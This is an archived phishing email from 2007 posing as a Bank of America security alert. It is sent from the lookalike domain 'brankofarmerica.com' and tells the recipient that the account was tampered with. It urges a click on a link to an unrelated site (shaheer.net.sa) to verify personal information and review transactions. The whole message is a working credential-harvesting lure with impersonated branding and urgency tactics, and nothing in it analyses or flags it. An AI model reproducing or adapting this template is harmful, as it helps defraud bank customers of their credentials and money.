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Email Security Zone: Banking Alert!
daemon@ATHENA.MIT.EDU (Bank of America)
Mon Nov 19 06:01:17 2007
Reply-To: <customer_service@brankofarmerica.com>
From: "Bank of America"<customer_service@brankofarmerica.com>
Date: Mon, 19 Nov 2007 18:57:00 +0800
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<br>Email Security Zone:
<br> <b>Dear Customer,
<br> ATM/Debit card ending in: 4XXX-XXXX-XXXX-XXXX</b>
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<br>We recently undergoing our Monthly Internet Banking Securities/Unauthorized Check on every of our valued Bank Of America Customers.
<br>During this process your Bank Of America Internet Banking Account has been tampared with by unauthorized user and your account may be temporary limited to access some sensitive features.
<br>In order to restore back your Bank Of America Internet Banking Account. Just follow these simple steps
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<br><b>กค</b> Click on the <b>"LINK"</b> below
<br><b>กค</b> Verify all <b>"PERSONAL INFORMATIONS"</b>
<br><b>กค</b> Go to <b>"ACCOUNT"</b>
<br><b>กค</b> Review <b>"ALL TRANSACTIONS"</b>
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<br><b><a href="http://shaheer.net.sa/zk/index/kakaz.html">(Click here to activate your account)</a></b>
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<br>We dearly apologize for any inconvenient this process may have caused you, and we appreciate your patience and co-operation.
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<br><b>Sincerely,
<br>S. Larson
<br>Customer Service</b>
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<br>Email Security Zone:
<br>At the top of this message, you'll see an E-mail Security Zone. Its purpose is
<br>to help you verify that the e-mail was indeed sent by Bank Of America. If you have
<br>questions, please call 1-800-374-9700.
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<br>ABOUT THIS MESSAGE
<br>Please do not reply to this Customer Service e-mail. For account-specific
<br>inquiries, kindly call 1-800-374-9700 (TTY: 1-800-788-0002) or visit
<br>bankofamerica.com.
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